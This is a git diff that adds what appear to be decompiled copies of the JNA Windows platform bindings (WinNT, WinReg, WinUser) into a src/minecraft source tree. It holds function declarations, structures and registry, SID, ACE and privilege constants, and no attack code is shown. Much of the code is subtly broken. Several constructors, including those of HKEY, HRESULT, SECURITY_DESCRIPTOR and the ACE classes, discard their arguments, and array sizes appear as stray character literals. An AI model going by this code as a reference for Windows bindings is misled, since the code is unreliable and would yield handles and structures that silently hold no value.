+  public abstract boolean SetFileAttributes(String paramString, WinDef.DWORD paramDWORD);
+  
+
+
+
+
+  public abstract WinDef.DWORD GetLogicalDriveStrings(WinDef.DWORD paramDWORD, char[] paramArrayOfChar);
+  
+
+
+
+
+  public abstract boolean GetDiskFreeSpaceEx(String paramString, WinNT.LARGE_INTEGER.ByReference paramByReference1, WinNT.LARGE_INTEGER.ByReference paramByReference2, WinNT.LARGE_INTEGER.ByReference paramByReference3);
+  
+
+
+
+
+  public abstract boolean DeleteFile(String paramString);
+  
+
+
+
+
+  public abstract boolean CreatePipe(HANDLEByReference paramHANDLEByReference1, HANDLEByReference paramHANDLEByReference2, WinBase.SECURITY_ATTRIBUTES paramSECURITY_ATTRIBUTES, int paramInt);
+  
+
+
+
+
+  public abstract boolean SetHandleInformation(HANDLE paramHANDLE, int paramInt1, int paramInt2);
+  
+
+
+
+
+  public abstract int GetFileAttributes(String paramString);
+  
+
+
+
+
+  public abstract boolean DeviceIoControl(HANDLE paramHANDLE, int paramInt1, Pointer paramPointer1, int paramInt2, Pointer paramPointer2, int paramInt3, IntByReference paramIntByReference, Pointer paramPointer3);
+  
+
+
+
+
+  public abstract boolean GetDiskFreeSpaceEx(String paramString, LongByReference paramLongByReference1, LongByReference paramLongByReference2, LongByReference paramLongByReference3);
+  
+
+
+
+
+  public abstract HANDLE CreateToolhelp32Snapshot(WinDef.DWORD paramDWORD1, WinDef.DWORD paramDWORD2);
+  
+
+
+
+
+  public abstract boolean Process32First(HANDLE paramHANDLE, Tlhelp32.PROCESSENTRY32.ByReference paramByReference);
+  
+
+
+
+
+  public abstract boolean Process32Next(HANDLE paramHANDLE, Tlhelp32.PROCESSENTRY32.ByReference paramByReference);
+  
+
+
+
+
+  public static class LUID
+    extends Structure
+  {
+    public int LowPart;
+    
+
+
+
+    public int HighPart;
+    
+
+
+
+    public LUID() {}
+  }
+  
+
+
+
+  public static class LARGE_INTEGER
+    extends Structure
+  {
+    public UNION u;
+    
+
+
+
+    public LARGE_INTEGER() {}
+    
+
+
+
+    public static class UNION
+      extends Union
+    {
+      public WinNT.LARGE_INTEGER.LowHigh lh;
+      
+
+
+      public long value;
+      
+
+
+
+      public UNION() {}
+    }
+    
+
+
+
+    public static class LowHigh
+      extends Structure
+    {
+      public WinDef.DWORD LowPart;
+      
+
+
+      public WinDef.DWORD HighPart;
+      
+
+
+
+      public LowHigh() {}
+    }
+    
+
+
+
+    public WinDef.DWORD getLow()
+    {
+      return u.lh.LowPart;
+    }
+    
+
+
+
+
+    public WinDef.DWORD getHigh()
+    {
+      return u.lh.HighPart;
+    }
+    
+
+
+
+
+    public long getValue()
+    {
+      return u.value;
+    }
+    
+    public static class ByReference extends WinNT.LARGE_INTEGER implements Structure.ByReference
+    {
+      public ByReference() {}
+    }
+  }
+  
+  public static class HANDLE extends PointerType {
+    public HANDLE() {}
+    
+    public HANDLE(Pointer p) {
+      setPointer(p);
+      immutable = true;
+    }
+    
+    private boolean immutable;
+    public Object fromNative(Object nativeValue, FromNativeContext context) {
+      Object o = super.fromNative(nativeValue, context);
+      if (WinBase.INVALID_HANDLE_VALUE.equals(o)) {
+        return WinBase.INVALID_HANDLE_VALUE;
+      }
+      return o;
+    }
+    
+    public void setPointer(Pointer p) {
+      if (immutable) {
+        throw new UnsupportedOperationException("immutable reference");
+      }
+      
+      super.setPointer(p);
+    }
+  }
+  
+  public static class HANDLEByReference
+    extends ByReference
+  {
+    public HANDLEByReference()
+    {
+      this(null);
+    }
+    
+    public HANDLEByReference(WinNT.HANDLE h) {
+      super();
+      setValue(h);
+    }
+    
+    public void setValue(WinNT.HANDLE h) {
+      getPointer().setPointer(0L, h != null ? h.getPointer() : null);
+    }
+    
+    public WinNT.HANDLE getValue() {
+      Pointer p = getPointer().getPointer(0L);
+      if (p == null) {
+        return null;
+      }
+      if (WinBase.INVALID_HANDLE_VALUE.getPointer().equals(p)) {
+        return WinBase.INVALID_HANDLE_VALUE;
+      }
+      WinNT.HANDLE h = new WinNT.HANDLE();
+      h.setPointer(p);
+      return h;
+    }
+  }
+  
+
+
+  public static class HRESULT
+    extends NativeLong
+  {
+    public HRESULT() {}
+    
+
+    public HRESULT(int value)
+    {
+      super();
+    }
+  }
+  
+
+  public static final int REG_LEGAL_OPTION = 15;
+  
+  public static final int REG_CREATED_NEW_KEY = 1;
+  
+  public static final int REG_OPENED_EXISTING_KEY = 2;
+  
+  public static final int REG_STANDARD_FORMAT = 1;
+  
+  public static final int REG_LATEST_FORMAT = 2;
+  
+  public static final int REG_NO_COMPRESSION = 4;
+  
+  public static final int REG_WHOLE_HIVE_VOLATILE = 1;
+  
+  public static final int REG_REFRESH_HIVE = 2;
+  
+  public static final int REG_NO_LAZY_FLUSH = 4;
+  
+  public static final int REG_FORCE_RESTORE = 8;
+  
+  public static final int REG_APP_HIVE = 16;
+  
+  public static final int REG_PROCESS_PRIVATE = 32;
+  
+  public static final int REG_START_JOURNAL = 64;
+  
+  public static final int REG_HIVE_EXACT_FILE_GROWTH = 128;
+  
+  public static final int REG_HIVE_NO_RM = 256;
+  
+  public static final int REG_HIVE_SINGLE_LOG = 512;
+  
+  public static final int REG_FORCE_UNLOAD = 1;
+  
+  public static final int REG_NOTIFY_CHANGE_NAME = 1;
+  
+  public static final int REG_NOTIFY_CHANGE_ATTRIBUTES = 2;
+  
+  public static final int REG_NOTIFY_CHANGE_LAST_SET = 4;
+  
+  public static final int REG_NOTIFY_CHANGE_SECURITY = 8;
+  
+  public static final int REG_LEGAL_CHANGE_FILTER = 15;
+  
+  public static final int REG_NONE = 0;
+  
+  public static final int REG_SZ = 1;
+  
+  public static final int REG_EXPAND_SZ = 2;
+  
+  public static final int REG_BINARY = 3;
+  
+  public static final int REG_DWORD = 4;
+  
+  public static final int REG_DWORD_LITTLE_ENDIAN = 4;
+  
+  public static final int REG_DWORD_BIG_ENDIAN = 5;
+  
+  public static final int REG_LINK = 6;
+  
+  public static final int REG_MULTI_SZ = 7;
+  
+  public static final int REG_RESOURCE_LIST = 8;
+  
+  public static final int REG_FULL_RESOURCE_DESCRIPTOR = 9;
+  
+  public static final int REG_RESOURCE_REQUIREMENTS_LIST = 10;
+  
+  public static final int REG_QWORD = 11;
+  
+  public static final int REG_QWORD_LITTLE_ENDIAN = 11;
+  
+  public static final int SID_REVISION = 1;
+  
+  public static final int SID_MAX_SUB_AUTHORITIES = 15;
+  
+  public static final int SID_RECOMMENDED_SUB_AUTHORITIES = 1;
+  
+  public static final int SECURITY_MAX_SID_SIZE = 68;
+  
+  public static final int VER_EQUAL = 1;
+  
+  public static final int VER_GREATER = 2;
+  
+  public static final int VER_GREATER_EQUAL = 3;
+  
+  public static final int VER_LESS = 4;
+  
+  public static final int VER_LESS_EQUAL = 5;
+  
+  public static final int VER_AND = 6;
+  
+  public static final int VER_OR = 7;
+  
+  public static final int VER_CONDITION_MASK = 7;
+  
+  public static final int VER_NUM_BITS_PER_CONDITION_MASK = 3;
+  
+  public static final int VER_MINORVERSION = 1;
+  
+  public static final int VER_MAJORVERSION = 2;
+  
+  public static final int VER_BUILDNUMBER = 4;
+  
+  public static final int VER_PLATFORMID = 8;
+  
+  public static final int VER_SERVICEPACKMINOR = 16;
+  
+  public static final int VER_SERVICEPACKMAJOR = 32;
+  
+  public static final int VER_SUITENAME = 64;
+  
+  public static final int VER_PRODUCT_TYPE = 128;
+  
+  public static final int VER_NT_WORKSTATION = 1;
+  
+  public static final int VER_NT_DOMAIN_CONTROLLER = 2;
+  
+  public static final int VER_NT_SERVER = 3;
+  
+  public static final int VER_PLATFORM_WIN32s = 0;
+  
+  public static final int VER_PLATFORM_WIN32_WINDOWS = 1;
+  
+  public static final int VER_PLATFORM_WIN32_NT = 2;
+  
+  public static final int EVENTLOG_SEQUENTIAL_READ = 1;
+  
+  public static final int EVENTLOG_SEEK_READ = 2;
+  
+  public static final int EVENTLOG_FORWARDS_READ = 4;
+  
+  public static final int EVENTLOG_BACKWARDS_READ = 8;
+  
+  public static final int EVENTLOG_SUCCESS = 0;
+  
+  public static final int EVENTLOG_ERROR_TYPE = 1;
+  
+  public static final int EVENTLOG_WARNING_TYPE = 2;
+  
+  public static final int EVENTLOG_INFORMATION_TYPE = 4;
+  
+  public static final int EVENTLOG_AUDIT_SUCCESS = 8;
+  
+  public static final int EVENTLOG_AUDIT_FAILURE = 16;
+  
+  public static final int SERVICE_KERNEL_DRIVER = 1;
+  
+  public static final int SERVICE_FILE_SYSTEM_DRIVER = 2;
+  
+  public static final int SERVICE_ADAPTER = 4;
+  
+  public static final int SERVICE_RECOGNIZER_DRIVER = 8;
+  
+  public static final int SERVICE_DRIVER = 11;
+  
+  public static final int SERVICE_WIN32_OWN_PROCESS = 16;
+  
+  public static final int SERVICE_WIN32_SHARE_PROCESS = 32;
+  
+  public static final int SERVICE_WIN32 = 48;
+  
+  public static final int SERVICE_INTERACTIVE_PROCESS = 256;
+  
+  public static final int SERVICE_TYPE_ALL = 319;
+  
+  public static final int STATUS_PENDING = 259;
+  
+  public static final String SE_CREATE_TOKEN_NAME = "SeCreateTokenPrivilege";
+  
+  public static final String SE_ASSIGNPRIMARYTOKEN_NAME = "SeAssignPrimaryTokenPrivilege";
+  
+  public static final String SE_LOCK_MEMORY_NAME = "SeLockMemoryPrivilege";
+  
+  public static final String SE_INCREASE_QUOTA_NAME = "SeIncreaseQuotaPrivilege";
+  
+  public static final String SE_UNSOLICITED_INPUT_NAME = "SeUnsolicitedInputPrivilege";
+  
+  public static final String SE_MACHINE_ACCOUNT_NAME = "SeMachineAccountPrivilege";
+  
+  public static final String SE_TCB_NAME = "SeTcbPrivilege";
+  
+  public static final String SE_SECURITY_NAME = "SeSecurityPrivilege";
+  
+  public static final String SE_TAKE_OWNERSHIP_NAME = "SeTakeOwnershipPrivilege";
+  
+  public static final String SE_LOAD_DRIVER_NAME = "SeLoadDriverPrivilege";
+  
+  public static final String SE_SYSTEM_PROFILE_NAME = "SeSystemProfilePrivilege";
+  
+  public static final String SE_SYSTEMTIME_NAME = "SeSystemtimePrivilege";
+  
+  public static final String SE_PROF_SINGLE_PROCESS_NAME = "SeProfileSingleProcessPrivilege";
+  
+  public static final String SE_INC_BASE_PRIORITY_NAME = "SeIncreaseBasePriorityPrivilege";
+  
+  public static final String SE_CREATE_PAGEFILE_NAME = "SeCreatePagefilePrivilege";
+  
+  public static final String SE_CREATE_PERMANENT_NAME = "SeCreatePermanentPrivilege";
+  
+  public static final String SE_BACKUP_NAME = "SeBackupPrivilege";
+  
+  public static final String SE_RESTORE_NAME = "SeRestorePrivilege";
+  
+  public static final String SE_SHUTDOWN_NAME = "SeShutdownPrivilege";
+  
+  public static final String SE_DEBUG_NAME = "SeDebugPrivilege";
+  
+  public static final String SE_AUDIT_NAME = "SeAuditPrivilege";
+  
+  public static final String SE_SYSTEM_ENVIRONMENT_NAME = "SeSystemEnvironmentPrivilege";
+  
+  public static final String SE_CHANGE_NOTIFY_NAME = "SeChangeNotifyPrivilege";
+  
+  public static final String SE_REMOTE_SHUTDOWN_NAME = "SeRemoteShutdownPrivilege";
+  
+  public static final String SE_UNDOCK_NAME = "SeUndockPrivilege";
+  
+  public static final String SE_SYNC_AGENT_NAME = "SeSyncAgentPrivilege";
+  
+  public static final String SE_ENABLE_DELEGATION_NAME = "SeEnableDelegationPrivilege";
+  
+  public static final String SE_MANAGE_VOLUME_NAME = "SeManageVolumePrivilege";
+  
+  public static final String SE_IMPERSONATE_NAME = "SeImpersonatePrivilege";
+  
+  public static final String SE_CREATE_GLOBAL_NAME = "SeCreateGlobalPrivilege";
+  
+  public static final int SE_PRIVILEGE_ENABLED_BY_DEFAULT = 1;
+  
+  public static final int SE_PRIVILEGE_ENABLED = 2;
+  
+  public static final int SE_PRIVILEGE_REMOVED = 4;
+  
+  public static final int SE_PRIVILEGE_USED_FOR_ACCESS = Integer.MIN_VALUE;
+  
+  public static final int PROCESS_TERMINATE = 1;
+  
+  public static final int PROCESS_SYNCHRONIZE = 1048576;
+  
+  public static final int OWNER_SECURITY_INFORMATION = 1;
+  
+  public static final int GROUP_SECURITY_INFORMATION = 2;
+  
+  public static final int DACL_SECURITY_INFORMATION = 4;
+  
+  public static final int SACL_SECURITY_INFORMATION = 8;
+  
+  public static final int LABEL_SECURITY_INFORMATION = 16;
+  
+  public static final int PROTECTED_DACL_SECURITY_INFORMATION = Integer.MIN_VALUE;
+  
+  public static final int PROTECTED_SACL_SECURITY_INFORMATION = 1073741824;
+  
+  public static final int UNPROTECTED_DACL_SECURITY_INFORMATION = 536870912;
+  
+  public static final int UNPROTECTED_SACL_SECURITY_INFORMATION = 268435456;
+  
+  public static final byte ACCESS_ALLOWED_ACE_TYPE = 0;
+  
+  public static final byte ACCESS_DENIED_ACE_TYPE = 1;
+  
+  public static final byte SYSTEM_AUDIT_ACE_TYPE = 2;
+  
+  public static final byte SYSTEM_ALARM_ACE_TYPE = 3;
+  
+  public static final byte ACCESS_ALLOWED_COMPOUND_ACE_TYPE = 4;
+  
+  public static final byte ACCESS_ALLOWED_OBJECT_ACE_TYPE = 5;
+  
+  public static final byte ACCESS_DENIED_OBJECT_ACE_TYPE = 6;
+  
+  public static final byte SYSTEM_AUDIT_OBJECT_ACE_TYPE = 7;
+  
+  public static final byte SYSTEM_ALARM_OBJECT_ACE_TYPE = 8;
+  
+  public static final byte ACCESS_ALLOWED_CALLBACK_ACE_TYPE = 9;
+  
+  public static final byte ACCESS_DENIED_CALLBACK_ACE_TYPE = 10;
+  
+  public static final byte ACCESS_ALLOWED_CALLBACK_OBJECT_ACE_TYPE = 11;
+  
+  public static final byte ACCESS_DENIED_CALLBACK_OBJECT_ACE_TYPE = 12;
+  
+  public static final byte SYSTEM_AUDIT_CALLBACK_ACE_TYPE = 13;
+  
+  public static final byte SYSTEM_ALARM_CALLBACK_ACE_TYPE = 14;
+  
+  public static final byte SYSTEM_AUDIT_CALLBACK_OBJECT_ACE_TYPE = 15;
+  
+  public static final byte SYSTEM_ALARM_CALLBACK_OBJECT_ACE_TYPE = 16;
+  
+  public static final byte SYSTEM_MANDATORY_LABEL_ACE_TYPE = 17;
+  
+  public static final byte OBJECT_INHERIT_ACE = 1;
+  
+  public static final byte CONTAINER_INHERIT_ACE = 2;
+  
+  public static final byte NO_PROPAGATE_INHERIT_ACE = 4;
+  
+  public static final byte INHERIT_ONLY_ACE = 8;
+  
+  public static final byte INHERITED_ACE = 16;
+  
+  public static final byte VALID_INHERIT_FLAGS = 31;
+  
+  public static abstract class WELL_KNOWN_SID_TYPE
+  {
+    public static final int WinNullSid = 0;
+    
+    public static final int WinWorldSid = 1;
+    
+    public static final int WinLocalSid = 2;
+    
+    public static final int WinCreatorOwnerSid = 3;
+    
+    public static final int WinCreatorGroupSid = 4;
+    
+    public static final int WinCreatorOwnerServerSid = 5;
+    
+    public static final int WinCreatorGroupServerSid = 6;
+    
+    public static final int WinNtAuthoritySid = 7;
+    
+    public static final int WinDialupSid = 8;
+    
+    public static final int WinNetworkSid = 9;
+    
+    public static final int WinBatchSid = 10;
+    
+    public static final int WinInteractiveSid = 11;
+    
+    public static final int WinServiceSid = 12;
+    
+    public static final int WinAnonymousSid = 13;
+    
+    public static final int WinProxySid = 14;
+    
+    public static final int WinEnterpriseControllersSid = 15;
+    
+    public static final int WinSelfSid = 16;
+    
+    public static final int WinAuthenticatedUserSid = 17;
+    
+    public static final int WinRestrictedCodeSid = 18;
+    
+    public static final int WinTerminalServerSid = 19;
+    
+    public static final int WinRemoteLogonIdSid = 20;
+    
+    public static final int WinLogonIdsSid = 21;
+    
+    public static final int WinLocalSystemSid = 22;
+    
+    public static final int WinLocalServiceSid = 23;
+    
+    public static final int WinNetworkServiceSid = 24;
+    
+    public static final int WinBuiltinDomainSid = 25;
+    
+    public static final int WinBuiltinAdministratorsSid = 26;
+    
+    public static final int WinBuiltinUsersSid = 27;
+    
+    public static final int WinBuiltinGuestsSid = 28;
+    
+    public static final int WinBuiltinPowerUsersSid = 29;
+    
+    public static final int WinBuiltinAccountOperatorsSid = 30;
+    
+    public static final int WinBuiltinSystemOperatorsSid = 31;
+    
+    public static final int WinBuiltinPrintOperatorsSid = 32;
+    
+    public static final int WinBuiltinBackupOperatorsSid = 33;
+    
+    public static final int WinBuiltinReplicatorSid = 34;
+    
+    public static final int WinBuiltinPreWindows2000CompatibleAccessSid = 35;
+    
+    public static final int WinBuiltinRemoteDesktopUsersSid = 36;
+    
+    public static final int WinBuiltinNetworkConfigurationOperatorsSid = 37;
+    
+    public static final int WinAccountAdministratorSid = 38;
+    
+    public static final int WinAccountGuestSid = 39;
+    
+    public static final int WinAccountKrbtgtSid = 40;
+    
+    public static final int WinAccountDomainAdminsSid = 41;
+    
+    public static final int WinAccountDomainUsersSid = 42;
+    
+    public static final int WinAccountDomainGuestsSid = 43;
+    
+    public static final int WinAccountComputersSid = 44;
+    
+    public static final int WinAccountControllersSid = 45;
+    
+    public static final int WinAccountCertAdminsSid = 46;
+    
+    public static final int WinAccountSchemaAdminsSid = 47;
+    
+    public static final int WinAccountEnterpriseAdminsSid = 48;
+    
+    public static final int WinAccountPolicyAdminsSid = 49;
+    
+    public static final int WinAccountRasAndIasServersSid = 50;
+    
+    public static final int WinNTLMAuthenticationSid = 51;
+    
+    public static final int WinDigestAuthenticationSid = 52;
+    
+    public static final int WinSChannelAuthenticationSid = 53;
+    
+    public static final int WinThisOrganizationSid = 54;
+    
+    public static final int WinOtherOrganizationSid = 55;
+    
+    public static final int WinBuiltinIncomingForestTrustBuildersSid = 56;
+    
+    public static final int WinBuiltinPerfMonitoringUsersSid = 57;
+    
+    public static final int WinBuiltinPerfLoggingUsersSid = 58;
+    public static final int WinBuiltinAuthorizationAccessSid = 59;
+    public static final int WinBuiltinTerminalServerLicenseServersSid = 60;
+    public static final int WinBuiltinDCOMUsersSid = 61;
+    public static final int WinBuiltinIUsersSid = 62;
+    public static final int WinIUserSid = 63;
+    public static final int WinBuiltinCryptoOperatorsSid = 64;
+    public static final int WinUntrustedLabelSid = 65;
+    public static final int WinLowLabelSid = 66;
+    public static final int WinMediumLabelSid = 67;
+    public static final int WinHighLabelSid = 68;
+    public static final int WinSystemLabelSid = 69;
+    public static final int WinWriteRestrictedCodeSid = 70;
+    public static final int WinCreatorOwnerRightsSid = 71;
+    public static final int WinCacheablePrincipalsGroupSid = 72;
+    public static final int WinNonCacheablePrincipalsGroupSid = 73;
+    public static final int WinEnterpriseReadonlyControllersSid = 74;
+    public static final int WinAccountReadonlyControllersSid = 75;
+    public static final int WinBuiltinEventLogReadersGroup = 76;
+    
+    public WELL_KNOWN_SID_TYPE() {}
+  }
+  
+  public static class OSVERSIONINFO
+    extends Structure
+  {
+    public WinDef.DWORD dwOSVersionInfoSize;
+    public WinDef.DWORD dwMajorVersion;
+    public WinDef.DWORD dwMinorVersion;
+    public WinDef.DWORD dwBuildNumber;
+    public WinDef.DWORD dwPlatformId;
+    public char[] szCSDVersion;
+    
+    public OSVERSIONINFO()
+    {
+      szCSDVersion = new char['€'];
+      dwOSVersionInfoSize = new WinDef.DWORD(size());
+    }
+    
+    public OSVERSIONINFO(Pointer memory) {
+      useMemory(memory);
+      read();
+    }
+  }
+  
+
+
+
+
+
+  public static class OSVERSIONINFOEX
+    extends Structure
+  {
+    public WinDef.DWORD dwOSVersionInfoSize;
+    
+
+
+
+    public WinDef.DWORD dwMajorVersion;
+    
+
+
+
+    public WinDef.DWORD dwMinorVersion;
+    
+
+
+
+    public WinDef.DWORD dwBuildNumber;
+    
+
+
+
+    public WinDef.DWORD dwPlatformId;
+    
+
+
+
+    public char[] szCSDVersion;
+    
+
+
+
+    public WinDef.WORD wServicePackMajor;
+    
+
+
+
+    public WinDef.WORD wServicePackMinor;
+    
+
+
+
+    public WinDef.WORD wSuiteMask;
+    
+
+
+
+    public byte wProductType;
+    
+
+
+
+    public byte wReserved;
+    
+
+
+
+
+    public OSVERSIONINFOEX()
+    {
+      szCSDVersion = new char['€'];
+      dwOSVersionInfoSize = new WinDef.DWORD(size());
+    }
+    
+    public OSVERSIONINFOEX(Pointer memory) {
+      useMemory(memory);
+      read();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static class EVENTLOGRECORD
+    extends Structure
+  {
+    public WinDef.DWORD Length;
+    
+
+
+
+
+
+
+
+
+    public WinDef.DWORD Reserved;
+    
+
+
+
+
+
+
+
+
+    public WinDef.DWORD RecordNumber;
+    
+
+
+
+
+
+
+
+
+    public WinDef.DWORD TimeGenerated;
+    
+
+
+
+
+
+
+
+
+    public WinDef.DWORD TimeWritten;
+    
+
+
+
+
+
+
+
+
+    public WinDef.DWORD EventID;
+    
+
+
+
+
+
+
+
+
+    public WinDef.WORD EventType;
+    
+
+
+
+
+
+
+
+
+    public WinDef.WORD NumStrings;
+    
+
+
+
+
+
+
+
+
+    public WinDef.WORD EventCategory;
+    
+
+
+
+
+
+
+
+
+    public WinDef.WORD ReservedFlags;
+    
+
+
+
+
+
+
+
+
+    public WinDef.DWORD ClosingRecordNumber;
+    
+
+
+
+
+
+
+
+
+    public WinDef.DWORD StringOffset;
+    
+
+
+
+
+
+
+
+
+    public WinDef.DWORD UserSidLength;
+    
+
+
+
+
+
+
+
+
+    public WinDef.DWORD UserSidOffset;
+    
+
+
+
+
+
+
+
+
+    public WinDef.DWORD DataLength;
+    
+
+
+
+
+
+
+
+    public WinDef.DWORD DataOffset;
+    
+
+
+
+
+
+
+
+
+    public EVENTLOGRECORD() {}
+    
+
+
+
+
+
+
+
+
+    public EVENTLOGRECORD(Pointer p)
+    {
+      super();
+      read();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static class SECURITY_DESCRIPTOR
+    extends Structure
+  {
+    public byte[] data;
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public SECURITY_DESCRIPTOR() {}
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public SECURITY_DESCRIPTOR(byte[] data)
+    {
+      this.data = data;
+      useMemory(new Memory(data.length));
+    }
+    
+
+    public SECURITY_DESCRIPTOR(Pointer memory) { super(); }
+    
+    public static class ByReference extends WinNT.SECURITY_DESCRIPTOR implements Structure.ByReference { public ByReference() {}
+    } }
+  
+  public static class ACL extends Structure { public byte AclRevision;
+    
+    public ACL() {}
+    
+    public ACL(Pointer pointer) { super();
+      read();
+      ACEs = new WinNT.ACCESS_ACEStructure[AceCount];
+      int offset = size();
+      for (int i = 0; i < AceCount; i++) {
+        Pointer share = pointer.share(offset);
+        
+        byte aceType = share.getByte(0L);
+        WinNT.ACCESS_ACEStructure ace = null;
+        switch (aceType) {
+        case 0: 
+          ace = new WinNT.ACCESS_ALLOWED_ACE(share);
+          break;
+        case 1: 
+          ace = new WinNT.ACCESS_DENIED_ACE(share);
+          break;
+        default: 
+          throw new IllegalArgumentException("Unknwon ACE type " + aceType);
+        }
+        ACEs[i] = ace;
+        offset += AceSize;
+      }
+    }
+    
+
+    public byte Sbz1;
+    
+    public short AclSize;
+    public short AceCount;
+    public short Sbz2;
+    WinNT.ACCESS_ACEStructure[] ACEs;
+    public WinNT.ACCESS_ACEStructure[] getACEStructures()
+    {
+      return ACEs;
+    }
+  }
+  
+
+  public static class SECURITY_DESCRIPTOR_RELATIVE
+    extends Structure
+  {
+    public byte Revision;
+    
+    public byte Sbz1;
+    public short Control;
+    public int Owner;
+    public int Group;
+    public int Sacl;
+    public int Dacl;
+    private WinNT.ACL DACL = null;
+    
+    public SECURITY_DESCRIPTOR_RELATIVE() {}
+    
+    public SECURITY_DESCRIPTOR_RELATIVE(byte[] data)
+    {
+      super();
+      getPointer().write(0L, data, 0, data.length);
+      setDacl();
+    }
+    
+    public SECURITY_DESCRIPTOR_RELATIVE(Memory memory) {
+      super();
+      setDacl();
+    }
+    
+    public WinNT.ACL getDiscretionaryACL() {
+      return DACL;
+    }
+    
+    private final void setDacl() {
+      read();
+      if (Dacl != 0)
+        DACL = new WinNT.ACL(getPointer().share(Dacl));
+    }
+    
+    public static class ByReference extends WinNT.SECURITY_DESCRIPTOR_RELATIVE implements Structure.ByReference {
+      public ByReference() {}
+    }
+  }
+  
+  public static abstract class ACEStructure extends Structure { public byte AceType;
+    public byte AceFlags;
+    public short AceSize;
+    WinNT.PSID psid;
+    
+    public ACEStructure(Pointer p) { super(); }
+    
+    public String getSidString()
+    {
+      return Advapi32Util.convertSidToStringSid(psid);
+    }
+    
+    public WinNT.PSID getSID() {
+      return psid;
+    }
+  }
+  
+  public static class ACE_HEADER extends WinNT.ACEStructure
+  {
+    public ACE_HEADER(Pointer p) {
+      super();
+      read();
+    }
+  }
+  
+  public static abstract class ACCESS_ACEStructure extends WinNT.ACEStructure {
+    public int Mask;
+    public WinDef.DWORD SidStart;
+    
+    public ACCESS_ACEStructure(Pointer p) {
+      super();
+      read();
+      
+      int sizeOfSID = AceSize - size() + 4;
+      
+      int offsetOfSID = 8;
+      byte[] data = p.getByteArray(offsetOfSID, sizeOfSID);
+      psid = new WinNT.PSID(data);
+    }
+  }
+  
+
+
+
+
+
+  public static class ACCESS_ALLOWED_ACE
+    extends WinNT.ACCESS_ACEStructure
+  {
+    public ACCESS_ALLOWED_ACE(Pointer p)
+    {
+      super();
+    }
+  }
+  
+  public static class ACCESS_DENIED_ACE extends WinNT.ACCESS_ACEStructure
+  {
+    public ACCESS_DENIED_ACE(Pointer p) {
+      super();
+    }
+  }
+  
+  public static abstract interface OVERLAPPED_COMPLETION_ROUTINE
+    extends StdCallLibrary.StdCallCallback
+  {
+    public abstract void callback(int paramInt1, int paramInt2, WinBase.OVERLAPPED paramOVERLAPPED);
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/WinReg.java b/src/minecraft/com/sun/jna/platform/win32/WinReg.java
new file mode 100644
index 0000000..675ef2c
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/WinReg.java
@@ -0,0 +1,70 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.Pointer;
+import com.sun.jna.ptr.ByReference;
+import com.sun.jna.win32.StdCallLibrary;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface WinReg
+  extends StdCallLibrary
+{
+  public static class HKEY
+    extends WinNT.HANDLE
+  {
+    public HKEY() {}
+    
+    public HKEY(Pointer p) { super(); }
+    public HKEY(int value) { super(); }
+  }
+  
+  public static class HKEYByReference extends ByReference {
+    public HKEYByReference() {
+      this(null);
+    }
+    
+    public HKEYByReference(WinReg.HKEY h) {
+      super();
+      setValue(h);
+    }
+    
+    public void setValue(WinReg.HKEY h) {
+      getPointer().setPointer(0L, h != null ? h.getPointer() : null);
+    }
+    
+    public WinReg.HKEY getValue() {
+      Pointer p = getPointer().getPointer(0L);
+      if (p == null)
+        return null;
+      if (WinBase.INVALID_HANDLE_VALUE.getPointer().equals(p))
+        return (WinReg.HKEY)WinBase.INVALID_HANDLE_VALUE;
+      WinReg.HKEY h = new WinReg.HKEY();
+      h.setPointer(p);
+      return h;
+    }
+  }
+  
+  public static final HKEY HKEY_CLASSES_ROOT = new HKEY(Integer.MIN_VALUE);
+  public static final HKEY HKEY_CURRENT_USER = new HKEY(-2147483647);
+  public static final HKEY HKEY_LOCAL_MACHINE = new HKEY(-2147483646);
+  public static final HKEY HKEY_USERS = new HKEY(-2147483645);
+  public static final HKEY HKEY_PERFORMANCE_DATA = new HKEY(-2147483644);
+  public static final HKEY HKEY_PERFORMANCE_TEXT = new HKEY(-2147483568);
+  public static final HKEY HKEY_PERFORMANCE_NLSTEXT = new HKEY(-2147483552);
+  public static final HKEY HKEY_CURRENT_CONFIG = new HKEY(-2147483643);
+  public static final HKEY HKEY_DYN_DATA = new HKEY(-2147483642);
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/WinUser.java b/src/minecraft/com/sun/jna/platform/win32/WinUser.java
new file mode 100644
index 0000000..26d7b05
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/WinUser.java
@@ -0,0 +1,636 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.Pointer;
+import com.sun.jna.Structure;
+import com.sun.jna.Structure.ByReference;
+import com.sun.jna.Union;
+import com.sun.jna.win32.StdCallLibrary;
+import com.sun.jna.win32.StdCallLibrary.StdCallCallback;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface WinUser
+  extends StdCallLibrary, WinDef
+{
+  public static final WinDef.HWND HWND_BROADCAST = new WinDef.HWND(Pointer.createConstant(65535));
+  public static final int FLASHW_STOP = 0;
+  public static final int FLASHW_CAPTION = 1;
+  public static final int FLASHW_TRAY = 2;
+  public static final int FLASHW_ALL = 3;
+  public static final int FLASHW_TIMER = 4;
+  public static final int FLASHW_TIMERNOFG = 12;
+  public static final int IMAGE_BITMAP = 0;
+  public static final int IMAGE_ICON = 1;
+  public static final int IMAGE_CURSOR = 2;
+  public static final int IMAGE_ENHMETAFILE = 3;
+  public static final int LR_DEFAULTCOLOR = 0;
+  public static final int LR_MONOCHROME = 1;
+  public static final int LR_COLOR = 2;
+  public static final int LR_COPYRETURNORG = 4;
+  public static final int LR_COPYDELETEORG = 8;
+  public static final int LR_LOADFROMFILE = 16;
+  public static final int LR_LOADTRANSPARENT = 32;
+  public static final int LR_DEFAULTSIZE = 64;
+  public static final int LR_VGACOLOR = 128;
+  public static final int LR_LOADMAP3DCOLORS = 4096;
+  public static final int LR_CREATEDIBSECTION = 8192;
+  public static final int LR_COPYFROMRESOURCE = 16384;
+  public static final int LR_SHARED = 32768;
+  public static final int GWL_EXSTYLE = -20;
